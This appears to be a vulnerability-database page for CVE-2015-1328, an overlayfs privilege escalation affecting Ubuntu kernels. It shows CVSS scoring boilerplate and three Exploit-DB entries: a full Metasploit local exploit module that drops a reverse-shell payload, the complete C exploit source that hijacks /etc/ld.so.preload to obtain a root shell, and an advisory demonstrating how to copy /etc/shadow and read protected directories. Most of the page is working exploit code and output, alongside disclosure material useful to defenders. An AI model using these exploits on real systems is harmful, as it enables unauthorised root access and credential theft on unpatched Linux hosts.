Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-264 |
Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V3.0 |
7.8 |
HIGH |
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 40688
Publication date : 2016-11-01 23h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Overlayfs Privilege Escalation',
'Description' => %q{
This module attempts to exploit two different CVEs related to overlayfs.
CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55
3.16.0-25 (14.10 default) < 3.16.0-41
3.19.0-18 (15.04 default) < 3.19.0-21
CVE-2015-8660:
Ubuntu:
3.19.0-18 < 3.19.0-43
4.2.0-18 < 4.2.0-23 (14.04.1, 15.10)
Fedora:
< 4.2.8 (vulnerable, un-tested)
Red Hat:
< 3.10.0-327 (rhel 6, vulnerable, un-tested)
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die <
[email protected]>', # Module
'rebel' # Discovery
],
'DisclosureDate' => 'Jun 16 2015',
'Platform' => [ 'linux'],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'CVE-2015-1328', { } ],
[ 'CVE-2015-8660', { } ]
],
'DefaultTarget' => 1,
'DefaultOptions' =>
{
'payload' => 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su
},
'References' =>
[
[ 'EDB', '39166'], # CVE-2015-8660
[ 'EDB', '37292'], # CVE-2015-1328
[ 'CVE', '2015-1328'],
[ 'CVE', '2015-8660']
]
))
register_options(
[
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
], self.class)
end
def check
def mounts_exist?()
vprint_status('Checking if mount points exist')
if target.name == 'CVE-2015-1328'
if not directory?('/tmp/ns_sploit')
vprint_good('/tmp/ns_sploit not created')
return true
else
print_error('/tmp/ns_sploit directory exists. Please delete.')
return false
end
elsif target.name == 'CVE-2015-8660'
if not directory?('/tmp/haxhax')
vprint_good('/tmp/haxhax not created')
return true
else
print_error('/tmp/haxhax directory exists. Please delete.')
return false
end
end
end
def kernel_vuln?()
os_id = cmd_exec('grep ^ID= /etc/os-release')
case os_id
when 'ID=ubuntu'
kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
case kernel.release.to_s
when '3.13.0'
if kernel.between?(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable")
return false
end
when '3.16.0'
if kernel.between?(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable")
return false
end
when '3.19.0'
if kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
return true
elsif kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable")
return false
end
when '4.2.0'
if kernel.between?(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable")
return false
end
else
print_error("Non-vuln kernel #{kernel}")
return false
end
when 'ID=fedora'
kernel = Gem::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc
# irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '')
# => "4.0.4-301"
if kernel.release < Gem::Version.new('4.2.8')
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660. Exploitation UNTESTED")
return true
else
print_error("Non-vuln kernel #{kernel}")
return false
end
else
print_error("Unknown OS: #{os_id}")
return false
end
end
if mounts_exist?() && kernel_vuln?()
return CheckCode::Appears
else
return CheckCode::Safe
end
end
def exploit
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
filename = rand_text_alphanumeric(8)
executable_path = "#{datastore['WritableDir']}/#{filename}"
payloadname = rand_text_alphanumeric(8)
payload_path = "#{datastore['WritableDir']}/#{payloadname}"
def has_prereqs?()
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
else
print_error('gcc is not installed. Compiling will fail.')
end
return gcc.include?('gcc')
end
compile = false
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
if has_prereqs?()
compile = true
vprint_status('Live compiling exploit on system')
else
vprint_status('Dropping pre-compiled exploit on system')
end
end
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
def upload_and_chmod(fname, fcontent, cleanup=true)
print_status "Writing to #{fname} (#{fcontent.size} bytes)"
rm_f fname
write_file(fname, fcontent)
cmd_exec("chmod +x #{fname}")
if cleanup
register_file_for_cleanup(fname)
end
end
def on_new_session(session)
super
if target.name == 'CVE-2015-1328'
session.shell_command("/bin/su") #this doesnt work on meterpreter?????
# we cleanup here instead of earlier since we needed the /bin/su in our new session
session.shell_command('rm -f /etc/ld.so.preload')
session.shell_command('rm -f /tmp/ofs-lib.so')
end
end
if compile
begin
if target.name == 'CVE-2015-1328'
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
# Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary.
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', '1328.c')
fd = ::File.open( path, "rb")
cve_2015_1328 = fd.read(fd.stat.size)
fd.close
# pulled out from 1328.c's LIB define
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', 'ofs-lib.c')
fd = ::File.open( path, "rb")
ofs_lib = fd.read(fd.stat.size)
fd.close
else
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-8660', '8660.c')
fd = ::File.open( path, "rb")
cve_2015_8660 = fd.read(fd.stat.size)
fd.close
end
rescue
compile = false #hdm said external folder is optional and all module should run even if external is deleted. If we fail to load, default to binaries
end
end
if compile
if target.name == 'CVE-2015-1328'
cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/,
"execl(\"#{payload_path}\",\"#{payloadname}\",NULL);")
upload_and_chmod("#{executable_path}.c", cve_2015_1328)
ofs_path = "#{datastore['WritableDir']}/ofs-lib"
upload_and_chmod("#{ofs_path}.c", ofs_lib)
cmd_exec("gcc -fPIC -shared -o #{ofs_path}.so #{ofs_path}.c -ldl -w") # compile dependency file
register_file_for_cleanup("#{ofs_path}.c")
else
cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/,
"os.execl('#{payload_path}','#{payloadname}')")
upload_and_chmod("#{executable_path}.c", cve_2015_8660)
end
vprint_status("Compiling #{executable_path}.c")
cmd_exec("gcc -o #{executable_path} #{executable_path}.c") # compile
register_file_for_cleanup(executable_path)
else
if target.name == 'CVE-2015-1328'
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', '1328')
fd = ::File.open( path, "rb")
cve_2015_1328 = fd.read(fd.stat.size)
fd.close
upload_and_chmod(executable_path, cve_2015_1328)
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', 'ofs-lib.so')
fd = ::File.open( path, "rb")
ofs_lib = fd.read(fd.stat.size)
fd.close
ofs_path = "#{datastore['WritableDir']}/ofs-lib"
# dont auto cleanup or else it happens too quickly and we never escalate ourprivs
upload_and_chmod("#{ofs_path}.so", ofs_lib, false)
# overwrite with the hardcoded variable names in the compiled versions
payload_filename = 'lXqzVpYN'
payload_path = '/tmp/lXqzVpYN'
else
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8660', '8660')
fd = ::File.open( path, "rb")
cve_2015_8660 = fd.read(fd.stat.size)
fd.close
upload_and_chmod(executable_path, cve_2015_8660)
# overwrite with the hardcoded variable names in the compiled versions
payload_filename = '1H0qLaq2'
payload_path = '/tmp/1H0qLaq2'
end
end
upload_and_chmod(payload_path, generate_payload_exe)
vprint_status('Exploiting...')
output = cmd_exec(executable_path)
output.each_line { |line| vprint_status(line.chomp) }
end
end
Exploit Database EDB-ID : 37292
Publication date : 2015-06-15 22h00 +00:00
Author : rebel
EDB Verified : Yes
/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT
user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)
greets to beist & kaliman
2015-05-24
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"
static char child_stack[1024*1024];
static int
child_exec(void *stuff)
{
char *file;
system("rm -rf /tmp/ns_sploit");
mkdir("/tmp/ns_sploit", 0777);
mkdir("/tmp/ns_sploit/work", 0777);
mkdir("/tmp/ns_sploit/upper",0777);
mkdir("/tmp/ns_sploit/o",0777);
fprintf(stderr,"mount #1\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
exit(-1);
}
file = ".access";
chmod("/tmp/ns_sploit/work/work",0777);
} else file = "ns_last_pid";
chdir("/tmp/ns_sploit/o");
rename(file,"ld.so.preload");
chdir("/");
umount("/tmp/ns_sploit/o");
fprintf(stderr,"mount #2\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
exit(-1);
}
chmod("/tmp/ns_sploit/work/work",0777);
}
chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
umount("/tmp/ns_sploit/o");
}
int
main(int argc, char **argv)
{
int status, fd, lib;
pid_t wrapper, init;
int clone_flags = CLONE_NEWNS | SIGCHLD;
fprintf(stderr,"spawning threads\n");
if((wrapper = fork()) == 0) {
if(unshare(CLONE_NEWUSER) != 0)
fprintf(stderr, "failed to create new user namespace\n");
if((init = fork()) == 0) {
pid_t pid =
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
if(pid < 0) {
fprintf(stderr, "failed to create new mount namespace\n");
exit(-1);
}
waitpid(pid, &status, 0);
}
waitpid(init, &status, 0);
return 0;
}
usleep(300000);
wait(NULL);
fprintf(stderr,"child threads done\n");
fd = open("/etc/ld.so.preload",O_WRONLY);
if(fd == -1) {
fprintf(stderr,"exploit failed\n");
exit(-1);
}
fprintf(stderr,"/etc/ld.so.preload created\n");
fprintf(stderr,"creating shared library\n");
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
write(lib,LIB,strlen(LIB));
close(lib);
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
if(lib != 0) {
fprintf(stderr,"couldn't create dynamic library\n");
exit(-1);
}
write(fd,"/tmp/ofs-lib.so\n",16);
close(fd);
system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
execl("/bin/su","su",NULL);
}
Exploit Database EDB-ID : 37293
Publication date : 2015-06-15 22h00 +00:00
Author : rebel
EDB Verified : Yes
The overlayfs filesystem does not correctly check file permissions when
creating new files in the upper filesystem directory. This can be exploited
by an unprivileged process in kernels with CONFIG_USER_NS=y and where
overlayfs has the FS_USERNS_MOUNT flag, which allows the mounting of overlayfs
inside unprivileged mount namespaces. This is the default configuration of
Ubuntu 12.04, 14.04, 14.10, and 15.04 [1].
If you don't want to update your kernel and you don't use overlayfs, a viable
workaround is to just remove or blacklist overlayfs.ko / overlay.ko.
Details
================================
>From Documentation/filesystems/overlayfs.txt [2]:
"Objects that are not directories (files, symlinks, device-special
files etc.) are presented either from the upper or lower filesystem as
appropriate. When a file in the lower filesystem is accessed in a way
the requires write-access, such as opening for write access, changing
some metadata etc., the file is first copied from the lower filesystem
to the upper filesystem (copy_up)."
The ovl_copy_up_* functions do not correctly check that the user has
permission to write files to the upperdir directory. The only permissions
that are checked is if the owner of the file that is being modified has
permission to write to the upperdir. Furthermore, when a file is copied from
the lowerdir the file metadata is carbon copied, instead of attributes such as
owner being changed to the user that triggered the copy_up_* procedures.
Example of creating a 1:1 copy of a root-owned file:
(Note that the workdir= option is not needed on older kernels)
[email protected]:~$ ./create-namespace
[email protected]:~# mount -t overlay -o
lowerdir=/etc,upperdir=upper,workdir=work overlayfs o
[email protected]:~# chmod 777 work/work/
[email protected]:~# cd o
[email protected]:~/o# mv shadow copy_of_shadow
(exit the namespace)
[email protected]:~$ ls -al upper/copy_of_shadow
-rw-r----- 1 root shadow 1236 May 24 15:51 upper/copy_of_shadow
[email protected]:~$ stat upper/copy_of_shadow /etc/shadow|grep Inode
Device: 801h/2049d Inode: 939791 Links: 1
Device: 801h/2049d Inode: 277668 Links: 1
Now we can place this file in /etc by switching "upper" to be the lowerdir
option, the permission checks pass since the file is owned by root and root
can write to /etc.
[email protected]:~$ ./create-namespace
[email protected]:~# mount -t overlay -o
lowerdir=upper,upperdir=/etc,workdir=work overlayfs o
[email protected]:~# chmod 777 work/work/
[email protected]:~# cd o
[email protected]:~/o# chmod 777 copy_of_shadow
[email protected]:~/o# exit
[email protected]:~$ ls -al /etc/copy_of_shadow
-rwxrwxrwx 1 root shadow 1236 May 24 15:51 /etc/copy_of_shadow
The attached exploit gives a root shell by creating a world-writable
/etc/ld.so.preload file. The exploit has been tested on the most recent
kernels before 2015-06-15 on Ubuntu 12.04, 14.04, 14.10 and 15.04.
It is also possible to list directory contents for any directory on the system
regardless of permissions:
[email protected]:~$ ls -al /root
ls: cannot open directory /root: Permission denied
[email protected]:~$ mkdir o upper work
[email protected]:~$ mount -t overlayfs -o
lowerdir=/root,upperdir=/home/user/upper,workdir=/home/user/work
overlayfs /home/user/o
[email protected]:~$ ls -al o 2>/dev/null
total 8
drwxrwxr-x 1 root nogroup 4096 May 24 16:33 .
drwxr-xr-x 8 root nogroup 4096 May 24 16:33 ..
-????????? ? ? ? ? ? .bash_history
-????????? ? ? ? ? ? .bashrc
d????????? ? ? ? ? ? .cache
-????????? ? ? ? ? ? .lesshst
d????????? ? ? ? ? ? linux-3.19.0
Credit
================================
Philip Pettersson, Samsung SDS Security Center
References
================================
[1] https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/vivid/commit/?id=78ec4549
[2] https://www.kernel.org/doc/Documentation/filesystems/overlayfs.txt
[3] http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html
## EDB Note: Exploit Mirror - https://www.exploit-db.com/exploits/37292
Products Mentioned
Configuraton 0
Canonical>>Ubuntu_linux >> Version To (including) 15.04
Configuraton 0
Linux>>Linux_kernel >> Version To (including) 3.19
References